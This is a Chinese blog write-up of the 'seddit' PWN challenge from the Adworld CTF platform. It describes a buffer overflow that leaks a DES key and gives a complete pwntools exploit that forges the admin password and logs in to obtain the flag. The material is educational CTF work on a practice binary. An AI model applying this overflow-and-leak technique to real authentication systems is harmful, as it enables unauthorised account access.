攻防世界PWN之seddit题解

161 篇文章 9 订阅
161 篇文章 9 订阅

seddit

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

是一个模拟登陆的程序,密码就是用户名用salt+key来加密后的结果

只要我们能够成功登陆admin账号,就能输出答案

溢出点在这

我们可以salt的长度为16,这样,key的内容就会写到v5的地址处,这样我们后面再输出,就能得到key,然后我们加密admin字符串,即可得到密码登陆

综上,我们的exp脚本

#coding:utf8
from pwn import *
from ctypes import *
import binascii

sh = process('./seddit')
#sh = remote('111.198.29.45',49317)

cryptolib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libcrypto.so.1.0.0')

def register(salt):
   sh.sendlineafter('What would you like to do?','1')
   sh.sendlineafter('Enter username:','seaase')
   sh.sendlineafter('Enter salt:',salt)

def login(password):
   sh.sendlineafter('What would you like to do?','2')
   sh.sendlineafter('Enter username:','admin')
   sh.sendlineafter('Enter password:',password)

def show():
   sh.sendlineafter('What would you like to do?','3')
   sh.sendlineafter('Title:','Leak')
   sh.sendlineafter('What type of post?','0')

payload = 'a'*0x10
register(payload)
#泄露key
show()
sh.recvuntil('content: ')
key = sh.recvuntil('\n',drop = True)[0:7]
print 'key=',key
passwd = 'a'*7 + key
user = 'admin'
#加密,得到密码
key = (c_char * 8)('\x00')
des_key_schedule = (c_char * 128)('\x00')
ans_out = (c_char * 256)('\x00')
cryptolib.DES_string_to_key(passwd,key)
cryptolib.DES_set_key(key,des_key_schedule)
cryptolib.DES_ecb_encrypt(user,ans_out,des_key_schedule,1)
password = ''
for i in range(len(ans_out)):
  c = ans_out[i]
  if c == '\x00':
     break;
  password += c
password = binascii.b2a_hex(password)
print 'password=',password

#得到flag
login(password)
sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值